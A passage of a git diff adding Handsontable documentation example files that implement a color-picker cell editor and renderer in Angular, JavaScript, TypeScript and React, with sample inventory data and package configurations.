    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ChangeDetectionStrategy, ElementRef, ViewChild } from '@angular/core';\nimport {\n GridSettings,\n HotCellEditorAdvancedComponent,\n HotCellRendererAdvancedComponent,\n HotTableModule\n} from '@handsontable/angular-wrapper';\nimport Pickr from '@simonwep/pickr';\nimport '@simonwep/pickr/dist/themes/nano.min.css';\n\n/* start:skip-in-preview */\nconst inputData = [\n { id: 640329, itemName: 'Lunar Core', itemNo: 'XJ-12', cost: 350000, valueStock: 700000 },\n { id: 863104, itemName: 'Zero Thrusters', itemNo: 'QL-54', cost: 450000, valueStock: 0 },\n { id: 395603, itemName: 'EVA Suits', itemNo: 'PM-67', cost: 150000, valueStock: 7500000 },\n { id: 679083, itemName: 'Solar Panels', itemNo: 'BW-09', cost: 75000, valueStock: 750000 },\n { id: 912663, itemName: 'Comm Array', itemNo: 'ZR-56', cost: 125000, valueStock: 0 },\n { id: 315806, itemName: 'Habitat Dome', itemNo: 'UJ-23', cost: 1000000, valueStock: 3000000 },\n { id: 954632, itemName: 'Oxygen Unit', itemNo: 'FK-87', cost: 600000, valueStock: 9000000 },\n { id: 734944, itemName: 'Processing Rig', itemNo: 'LK-13', cost: 350000, valueStock: 8750000 },\n];\n/* end:skip-in-preview */\n\nconst colorValidator = (value: string): boolean => /^#[0-9A-Fa-f]{6}$/.test(value);\n\n@Component({\n standalone: true,\n selector: 'example1-color-renderer',\n changeDetection: ChangeDetectionStrategy.OnPush,\n template: `\n
    \n \n
    `,\n styles: `\n :host { height: 100%; width: 100%; }\n .color-picker-cell { display: flex; align-items: center; justify-content: center; }\n .color-picker-swatch { width: 18px; height: 18px; border-radius: 50%; flex-shrink: 0; border: 1px solid rgba(0,0,0,0.15); }\n `,\n})\nexport class ColorRendererComponent extends HotCellRendererAdvancedComponent {}\n\n@Component({\n standalone: true,\n selector: 'example1-color-picker-editor',\n template: `\n
    \n \n
    \n `,\n styles: `\n :host { width: 100%; height: 100%; }\n .color-picker-editor { width: 100%; height: 100%; border: none; outline: none; box-sizing: border-box !important; cursor: pointer; }\n `,\n})\nexport class ColorPickerEditorComponent extends HotCellEditorAdvancedComponent {\n @ViewChild('colorInput', { static: true }) colorInput!: ElementRef;\n @ViewChild('editorContainer', { static: true }) editorContainer!: ElementRef;\n\n private pickrInstance: Pickr | null = null;\n private pickrButton: HTMLButtonElement | null = null;\n private openedAt = 0;\n\n override afterOpen(): void {\n this.openedAt = Date.now();\n this.colorInput.nativeElement.value = this.value || '#000000';\n\n this.pickrButton = document.createElement('button');\n this.pickrButton.textContent = 'Open color picker';\n this.pickrButton.style.cssText = 'position:absolute;opacity:0;pointer-events:none;';\n this.editorContainer.nativeElement.appendChild(this.pickrButton);\n const button = this.pickrButton;\n\n this.pickrInstance = Pickr.create({\n el: button,\n theme: 'nano',\n default: this.value || '#000000',\n autoReposition: false,\n padding: 0,\n components: { preview: true, hue: true },\n });\n\n (this.pickrInstance as any)._root.root.style.height = '0';\n (this.pickrInstance as any)._root.root.style.overflow = 'hidden';\n\n this.pickrInstance.on('change', (color: { toHEXA: () => { toString: () => string } } | null) => {\n if (color) {\n const hex = color.toHEXA().toString();\n this.colorInput.nativeElement.value = hex;\n this.setValue(hex);\n }\n });\n\n this.pickrInstance.on('hide', () => {\n if (Date.now() - this.openedAt < 400) {\n this.pickrInstance?.show();\n return;\n }\n this.finishEdit.emit();\n });\n\n this.pickrInstance.show();\n\n requestAnimationFrame(() => {\n requestAnimationFrame(() => {\n const cellRect = this.editorContainer.nativeElement.getBoundingClientRect();\n\n if (cellRect && this.pickrInstance) {\n (this.pickrInstance as any)._root.app.style.top = `${cellRect.bottom}px`;\n }\n });\n });\n }\n\n override afterClose(): void {\n (this.pickrInstance as any)?._root.app.classList.remove('visible');\n this.pickrInstance?.hide();\n this.pickrInstance?.destroy();\n this.pickrInstance = null;\n this.pickrButton?.remove();\n this.pickrButton = null;\n }\n\n override onFocus(): void {\n this.colorInput.nativeElement.focus();\n }\n}\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example1-color-picker',\n template: `
    `,\n})\nexport class AppComponent {\n readonly data = inputData.map((el) => ({\n ...el,\n color: `#${Math.round(0x1000000 + 0xffffff * Math.random()).toString(16).slice(1).toUpperCase()}`,\n }));\n\n readonly gridSettings: GridSettings = {\n autoRowSize: true,\n rowHeaders: true,\n autoWrapRow: true,\n height: 'auto',\n width: '100%',\n colHeaders: ['ID', 'Item Name', 'Item Color', 'Item No.', 'Cost', 'Value in Stock'],\n columns: [\n { data: 'id', type: 'numeric', width: 80, headerClassName: 'htLeft' },\n { data: 'itemName', type: 'text', width: 200, headerClassName: 'htLeft' },\n {\n data: 'color',\n headerClassName: 'htLeft',\n editor: ColorPickerEditorComponent,\n renderer: ColorRendererComponent,\n validator: colorValidator,\n } as any,\n { data: 'itemNo', type: 'text', width: 100, headerClassName: 'htLeft' },\n { data: 'cost', type: 'numeric', width: 70, headerClassName: 'htLeft' },\n { data: 'valueStock', type: 'numeric', width: 130, headerClassName: 'htRight' },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"recipes/cell-types/color-picker/angular/example1.ts","breadcrumb":["Recipes","Cell Types","Color picker"],"guide":"recipes/cell-types/color-picker/color-picker.md","guideTitle":"Color picker","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/color-picker","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__javascript__example1.js.json new file mode 100644 index 00000000..7960c056 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Recipes ▸ Cell Types ▸ Color picker · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"@simonwep/pickr\": \"1.9.1\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { editorFactory } from 'handsontable/editors';\nimport { rendererFactory } from 'handsontable/renderers';\nimport Pickr from '@simonwep/pickr';\nimport '@simonwep/pickr/dist/themes/nano.min.css';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\nconst inputData = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n {\n id: 954632,\n itemName: 'Oxygen Unit',\n itemNo: 'FK-87',\n leadEngineer: 'Dr. Grace Augustine',\n cost: 600000,\n inStock: true,\n category: 'Life Support',\n itemQuality: 85,\n origin: '🇺🇸 USA',\n quantity: 15,\n valueStock: 9000000,\n repairable: true,\n supplierName: 'OxyGenius',\n restockDate: '2026-03-02',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 734944,\n itemName: 'Processing Rig',\n itemNo: 'LK-13',\n leadEngineer: 'Jake Sully',\n cost: 350000,\n inStock: true,\n category: 'Mining',\n itemQuality: 81,\n origin: '🇦🇺 Australia',\n quantity: 25,\n valueStock: 8750000,\n repairable: true,\n supplierName: 'RigTech',\n restockDate: '2026-04-15',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 834662,\n itemName: 'Navigation Module',\n itemNo: 'XP-24',\n leadEngineer: 'Dr. Ellie Arroway',\n cost: 450000,\n inStock: true,\n category: 'Navigation',\n itemQuality: 89,\n origin: '🇫🇷 France',\n quantity: 8,\n valueStock: 3600000,\n repairable: false,\n supplierName: 'NavSolutions',\n restockDate: '2026-05-30',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 714329,\n itemName: 'Surveyor Arm',\n itemNo: 'QA-86',\n leadEngineer: 'Mark Watney',\n cost: 100000,\n inStock: true,\n category: 'Exploration',\n itemQuality: 78,\n origin: '🇺🇸 USA',\n quantity: 40,\n valueStock: 4000000,\n repairable: true,\n supplierName: 'ExploreTech',\n restockDate: '2026-07-12',\n operationalStatus: 'Decommissioned',\n },\n];\n\nconst data = inputData.map((el) => ({\n ...el,\n // eslint-disable-next-line no-mixed-operators\n color: `#${\n // eslint-disable-next-line no-mixed-operators\n Math.round(0x1000000 + 0xffffff * Math.random())\n .toString(16)\n .slice(1)\n .toUpperCase()\n }`,\n}));\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1');\nconst cellDefinition = {\n renderer: rendererFactory(({ td, value }) => {\n td.innerHTML = ``;\n }),\n validator: (value, callback) => {\n callback(value.length === 7 && value[0] == '#'); // validate color format\n },\n editor: editorFactory({\n init(editor) {\n editor.input = editor.hot.rootDocument.createElement('INPUT');\n editor.input.setAttribute('aria-label', 'Open color picker');\n editor.input.classList.add('color-picker-editor');\n },\n afterInit(editor) {\n const button = editor.hot.rootDocument.createElement('button');\n button.textContent = 'Open color picker';\n button.classList.add('color-picker-button');\n editor.input.after(button);\n\n editor.pickr = Pickr.create({\n el: button,\n theme: 'nano',\n default: editor.input.value || '#000000',\n autoReposition: false,\n padding: 0,\n components: {\n preview: true,\n hue: true,\n }\n });\n\n // Collapse the Pickr trigger button so it doesn't add vertical space\n // between the cell editor and the popup.\n editor.pickr._root.root.style.height = '0';\n editor.pickr._root.root.style.overflow = 'hidden';\n\n editor.preventCloseElement = editor.pickr._root.app;\n\n editor.pickr.on('change', (color) => {\n if (color) {\n const hex = color.toHEXA().toString();\n editor.input.value = hex;\n }\n });\n\n editor.pickr.on('hide', () => {\n if (Date.now() - editor._openedAt < 400) {\n editor.pickr.show();\n\n return;\n }\n editor.finishEditing();\n });\n },\n afterOpen(editor) {\n editor._openedAt = Date.now();\n editor.pickr.setColor(editor.input.value || '#000000');\n editor.pickr.show();\n\n // Pickr positions its popup relative to the trigger button with an\n // internal offset. Override the top to sit flush below the cell.\n // Use double-rAF to ensure Pickr's own positioning is complete.\n requestAnimationFrame(() => {\n requestAnimationFrame(() => {\n const cellRect = editor.TD.getBoundingClientRect();\n\n editor.pickr._root.app.style.top = `${cellRect.bottom}px`;\n });\n });\n },\n afterClose(editor) {\n editor.pickr._root.app.classList.remove('visible');\n editor.pickr.hide();\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n },\n shortcuts: [\n {\n keys: [['Tab']],\n callback: (editor) => {\n editor.pickr.hide();\n },\n },\n ],\n }),\n};\n\n// Define configuration options for the Handsontable\nconst hotOptions = {\n data,\n colHeaders: ['ID', 'Item Name', 'Item Color', 'Item No.', 'Cost', 'Value in Stock'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n columns: [\n {\n data: 'id',\n type: 'numeric',\n width: 80,\n headerClassName: 'htLeft',\n },\n {\n data: 'itemName',\n type: 'text',\n width: 200,\n headerClassName: 'htLeft',\n },\n {\n data: 'color',\n headerClassName: 'htLeft',\n ...cellDefinition,\n },\n {\n data: 'itemNo',\n type: 'text',\n width: 100,\n headerClassName: 'htLeft',\n },\n {\n data: 'cost',\n type: 'numeric',\n width: 70,\n headerClassName: 'htLeft',\n },\n {\n data: 'valueStock',\n type: 'numeric',\n width: 130,\n headerClassName: 'htRight',\n },\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".color-picker-cell {\n display: flex;\n align-items: center;\n justify-content: center;\n}\n\n.color-picker-swatch {\n width: 18px;\n height: 18px;\n border-radius: 50%;\n flex-shrink: 0;\n border: 1px solid rgba(0, 0, 0, 0.15);\n}\n\n.color-picker-editor {\n width: 100%;\n height: 100%;\n border: none;\n outline: none;\n box-sizing: border-box !important;\n cursor: pointer;\n -webkit-appearance: none;\n appearance: none;\n}\n\n.pickr {\n position: absolute;\n top: 0;\n left: 0;\n opacity: 0;\n pointer-events: none;\n}\n\nhtml[data-theme=\"dark\"] .pcr-app {\n background-color: #1a1a1a;\n}"},"docsPath":"recipes/cell-types/color-picker/javascript/example1.js","breadcrumb":["Recipes","Cell Types","Color picker"],"guide":"recipes/cell-types/color-picker/color-picker.md","guideTitle":"Color picker","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/color-picker","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__javascript__example1.ts.json new file mode 100644 index 00000000..37083981 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Recipes ▸ Cell Types ▸ Color picker · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"@simonwep/pickr\": \"1.9.1\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { editorFactory } from 'handsontable/editors';\nimport { rendererFactory } from 'handsontable/renderers';\nimport Pickr from '@simonwep/pickr';\nimport '@simonwep/pickr/dist/themes/nano.min.css';\nimport { CellProperties } from 'handsontable/settings';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\n\nconst inputData = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n {\n id: 954632,\n itemName: 'Oxygen Unit',\n itemNo: 'FK-87',\n leadEngineer: 'Dr. Grace Augustine',\n cost: 600000,\n inStock: true,\n category: 'Life Support',\n itemQuality: 85,\n origin: '🇺🇸 USA',\n quantity: 15,\n valueStock: 9000000,\n repairable: true,\n supplierName: 'OxyGenius',\n restockDate: '2026-03-02',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 734944,\n itemName: 'Processing Rig',\n itemNo: 'LK-13',\n leadEngineer: 'Jake Sully',\n cost: 350000,\n inStock: true,\n category: 'Mining',\n itemQuality: 81,\n origin: '🇦🇺 Australia',\n quantity: 25,\n valueStock: 8750000,\n repairable: true,\n supplierName: 'RigTech',\n restockDate: '2026-04-15',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 834662,\n itemName: 'Navigation Module',\n itemNo: 'XP-24',\n leadEngineer: 'Dr. Ellie Arroway',\n cost: 450000,\n inStock: true,\n category: 'Navigation',\n itemQuality: 89,\n origin: '🇫🇷 France',\n quantity: 8,\n valueStock: 3600000,\n repairable: false,\n supplierName: 'NavSolutions',\n restockDate: '2026-05-30',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 714329,\n itemName: 'Surveyor Arm',\n itemNo: 'QA-86',\n leadEngineer: 'Mark Watney',\n cost: 100000,\n inStock: true,\n category: 'Exploration',\n itemQuality: 78,\n origin: '🇺🇸 USA',\n quantity: 40,\n valueStock: 4000000,\n repairable: true,\n supplierName: 'ExploreTech',\n restockDate: '2026-07-12',\n operationalStatus: 'Decommissioned',\n }\n];\n\nconst data = inputData.map((el) => ({\n ...el,\n // eslint-disable-next-line no-mixed-operators\n color: `#${\n // eslint-disable-next-line no-mixed-operators\n Math.round(0x1000000 + 0xffffff * Math.random())\n .toString(16)\n .slice(1)\n .toUpperCase()\n }`,\n}));\n/* end:skip-in-preview */\n\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1')!;\n\ntype ColorPickerEditor = { input: HTMLInputElement; pickr: ReturnType; preventCloseElement: HTMLElement };\n\nconst cellDefinition: Pick = {\n renderer: rendererFactory(({ td, value }) => {\n td.innerHTML = ``;\n }),\n validator: (value, callback) => {\n callback(value.length === 7 && value[0] == '#'); // validate color format\n },\n editor: editorFactory({\n init(editor) {\n editor.input = editor.hot.rootDocument.createElement('INPUT') as HTMLInputElement;\n editor.input.setAttribute('aria-label', 'Open color picker');\n editor.input.classList.add('color-picker-editor');\n },\n afterInit(editor) {\n const button = editor.hot.rootDocument.createElement('button');\n button.textContent = 'Open color picker';\n button.classList.add('color-picker-button');\n editor.input.after(button);\n\n editor.pickr = Pickr.create({\n el: button,\n theme: 'nano',\n default: editor.input.value || '#000000',\n autoReposition: false,\n padding: 0,\n components: {\n preview: true,\n hue: true,\n }\n });\n\n // Collapse the Pickr trigger button so it doesn't add vertical space\n // between the cell editor and the popup.\n editor.pickr._root.root.style.height = '0';\n editor.pickr._root.root.style.overflow = 'hidden';\n\n editor.preventCloseElement = editor.pickr._root.app;\n\n editor.pickr.on('change', (color: { toHEXA: () => { toString: () => string } } | null) => {\n if (color) {\n const hex = color.toHEXA().toString();\n editor.input.value = hex;\n }\n });\n\n editor.pickr.on('hide', () => {\n if (Date.now() - editor._openedAt < 400) {\n editor.pickr.show();\n\n return;\n }\n editor.finishEditing();\n });\n },\n afterOpen(editor) {\n editor._openedAt = Date.now();\n editor.pickr.setColor(editor.input.value || '#000000');\n editor.pickr.show();\n\n // Pickr positions its popup relative to the trigger button with an\n // internal offset. Override the top to sit flush below the cell.\n requestAnimationFrame(() => {\n requestAnimationFrame(() => {\n const cellRect = editor.TD.getBoundingClientRect();\n\n editor.pickr._root.app.style.top = `${cellRect.bottom}px`;\n });\n });\n },\n afterClose(editor) {\n editor.pickr._root.app.classList.remove('visible');\n editor.pickr.hide();\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n },\n shortcuts: [\n {\n keys: [['Tab']],\n callback: (editor) => {\n editor.pickr.hide();\n },\n },\n ],\n }),\n};\n\n// Define configuration options for the Handsontable\nconst hotOptions: Handsontable.GridSettings = {\n data,\n colHeaders: ['ID', 'Item Name', 'Item Color', 'Item No.', 'Cost', 'Value in Stock'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n columns: [\n { \n data: 'id', \n type: 'numeric', \n width: 80, \n headerClassName: 'htLeft' \n },\n {\n data: 'itemName',\n type: 'text',\n width: 200,\n headerClassName: 'htLeft'\n },\n {\n data: 'color',\n headerClassName: 'htLeft',\n ...cellDefinition,\n },\n {\n data: 'itemNo',\n type: 'text',\n width: 100,\n headerClassName: 'htLeft',\n },\n {\n data: 'cost',\n type: 'numeric',\n width: 70,\n headerClassName: 'htLeft',\n },\n {\n data: 'valueStock',\n type: 'numeric',\n width: 130,\n headerClassName: 'htRight',\n },\n\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".color-picker-cell {\n display: flex;\n align-items: center;\n justify-content: center;\n}\n\n.color-picker-swatch {\n width: 18px;\n height: 18px;\n border-radius: 50%;\n flex-shrink: 0;\n border: 1px solid rgba(0, 0, 0, 0.15);\n}\n\n.color-picker-editor {\n width: 100%;\n height: 100%;\n border: none;\n outline: none;\n box-sizing: border-box !important;\n cursor: pointer;\n -webkit-appearance: none;\n appearance: none;\n}\n\n.pickr {\n position: absolute;\n top: 0;\n left: 0;\n opacity: 0;\n pointer-events: none;\n}\n\nhtml[data-theme=\"dark\"] .pcr-app {\n background-color: #1a1a1a;\n}"},"docsPath":"recipes/cell-types/color-picker/javascript/example1.ts","breadcrumb":["Recipes","Cell Types","Color picker"],"guide":"recipes/cell-types/color-picker/color-picker.md","guideTitle":"Color picker","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/color-picker","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__react__example1.tsx.json new file mode 100644 index 00000000..ca6ed642 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__color-picker__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Recipes ▸ Cell Types ▸ Color picker · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"@simonwep/pickr\": \"1.9.1\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { editorFactory } from 'handsontable/editors';\nimport { rendererFactory } from 'handsontable/renderers';\nimport Pickr from '@simonwep/pickr';\nimport '@simonwep/pickr/dist/themes/nano.min.css';\nimport './example1.css';\n\nregisterAllModules();\n\ninterface ColorPickerEditorInstance {\n input: HTMLInputElement;\n pickr: Pickr;\n _openedAt: number;\n preventCloseElement: HTMLElement;\n}\n\nconst colorPickerRenderer = rendererFactory(({ td, value }) => {\n td.innerHTML = ``;\n});\n\nconst colorPickerValidator = (value: string, callback: (valid: boolean) => void) => {\n callback(value.length === 7 && value[0] === '#');\n};\n\nconst colorPickerEditor = editorFactory({\n init(editor) {\n editor.input = editor.hot.rootDocument.createElement('INPUT') as HTMLInputElement;\n editor.input.setAttribute('aria-label', 'Open color picker');\n editor.input.classList.add('color-picker-editor');\n },\n afterInit(editor) {\n const button = editor.hot.rootDocument.createElement('button') as HTMLButtonElement;\n\n button.textContent = 'Open color picker';\n button.classList.add('color-picker-button');\n editor.input.after(button);\n\n editor.pickr = Pickr.create({\n el: button,\n theme: 'nano',\n default: editor.input.value || '#000000',\n autoReposition: false,\n padding: 0,\n components: {\n preview: true,\n hue: true,\n },\n });\n\n (editor.pickr as any)._root.root.style.height = '0';\n (editor.pickr as any)._root.root.style.overflow = 'hidden';\n\n editor.preventCloseElement = (editor.pickr as any)._root.app;\n\n editor.pickr.on('change', (color: Pickr.HSVaColor | null) 